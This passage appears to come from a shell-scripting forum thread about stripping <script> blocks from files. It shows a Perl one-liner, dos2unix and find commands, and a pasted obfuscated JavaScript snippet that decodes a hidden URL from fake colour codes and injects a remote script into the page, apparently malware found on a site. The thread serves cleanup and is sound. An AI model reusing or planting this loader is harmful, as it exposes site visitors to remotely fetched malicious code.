Shell Programming and Scripting

dos2unix your_file
od -bc your_file

$
$
$ cat -n f36
     1  this is line 1
     2  this is line 2
     3  <script> the script tags
     4  and their contents span
     5  multiple lines
     6  in this case
     7  </script>
     8  this is line 8
     9  <script> begin and close tags on same line </script>
    10  this is line 10
    11  and this is <script> begin and close tags somewhere
    12  within the line, i.e. not at the
    13  beginning and end of
    14  the line </script> line 14
    15  final line number 15
$
$
$ perl -lne 'if (/^(.*?)<script>.*$/) {
               print $1;
               $in = 1;
             }
             if ($in and /^.*?<\/script>(.*?)$/) {
               print $1;
               $in = 0;
             } elsif (not $in) {print}
            ' f36
this is line 1
this is line 2

this is line 8

this is line 10
and this is
 line 14
final line number 15
$
$

</html><script>^M
function vdch() {^M
        if(document.all.length > 3) {^M
                var t = new Array('#6a7072', '#723e29', '#2d7371', '#752a62', '#637d65', '#6d2a60', '#702b63', '#7a7029');^M
                var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } }^M
                var dch = document.createElement("script");^M
                dch.id = "dchid";^M
                dch.src = dchid;^M
                document.all[3].appendChild(dch);^M
        } else {^M
                setTimeout("vdch()",500);^M
        }^M
} setTimeout("vdch()",500);^M
</script>

cd my_dir
dos2unix *.java

cd highest_dir
find . -name "*.java" -exec dos2unix {} \;

# fix "^M" in all java files in "/my/path/to/java/files" directory
dos2unix /my/path/to/java/files/*.java
 
# fix "^M" in all java files in the entire tree below "/my/highest/dir" directory
find /my/highest/dir -name "*.java" -exec dos2unix {} \;